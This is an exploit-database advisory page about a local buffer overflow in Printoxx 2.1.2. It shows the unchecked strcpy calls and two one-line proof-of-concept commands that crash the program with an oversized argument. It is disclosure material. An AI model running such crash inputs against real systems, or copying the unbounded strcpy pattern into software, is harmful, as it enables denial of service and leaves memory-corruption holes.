header-logo
Suggest Exploit
vendor:
Printoxx
by:
sandman, n4mdn4s [4T] gmail [D0T] com
3.3
CVSS
LOW
Buffer Overflow
119
CWE
Product Name: Printoxx
Affected Version From: <= 2.1.2
Affected Version To: <= 2.1.2
Patch Exists: NO
Related CWE: None
CPE: 2.1.2002
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Fedora 12
2009

Printoxx Local Buffer Overflow

Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below. Proof Of Concept: Image filename overflow: $ ./printoxx -i $(python -c 'print "A"*1000') Directory filename overflow: $ ./printoxx -f $(python -c 'print "A"*1000')

Mitigation:

Compile all executables on Red-Hat RHEL and Fedora systems with canaries enabled.
Source

Exploit-DB raw data:

# Exploit Title: Printoxx Local Buffer Overflow
# Date: 23 Dec, 2009
# Author: sandman, n4mdn4s [4T] gmail [D0T] com
# Software Link: http://kornelix.squarespace.com/printoxx/, http://kornelix.squarespace.com/storage/downloads/printoxx-2.1.2.tar.gz

# Version: <= 2.1.2
# Tested on: Fedora 12
# CVE: None
# Code:

Description:
"from website"
Printoxx is a free open source Linux program for making and printing a
photo montage. Images can be added to a layout page using the mouse to

select and drop into place. Images can be moved around and resized
using the mouse. Text can be added using any font, and moved around as
needed.

Vulnerability:
Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below.


Affected Code Segment:
  .....
      else if (strEqu(argv[ii],"-i") && argc > ii+1)                       //  -i imageDirectory
            strcpy(imagedirk,argv[++ii]);   //Overflow
      else if (strEqu(argv[ii],"-f") && argc > ii+1)                       //  -f imageFile

            strcpy(clfile,argv[++ii]);      //Overflow
      else strcpy(clfile,argv[ii]);         //Overflow                     //  assume imageFile
   }
......

Proof Of Concept:
Image filename overflow:

$ ./printoxx -i $(python -c 'print "A"*1000')

Directory filename overflow:
$ ./printoxx -f $(python -c 'print "A"*1000')

Severity: Very Low

Note: Since this was tested on Fedora 12, the system automatically detected the operation as a possible buffer overflow attempt instead of a regular segfault. This is due to the fact that all executables on Red-Hat

RHEL and Fedora systems are compiled with canaries enabled.

#$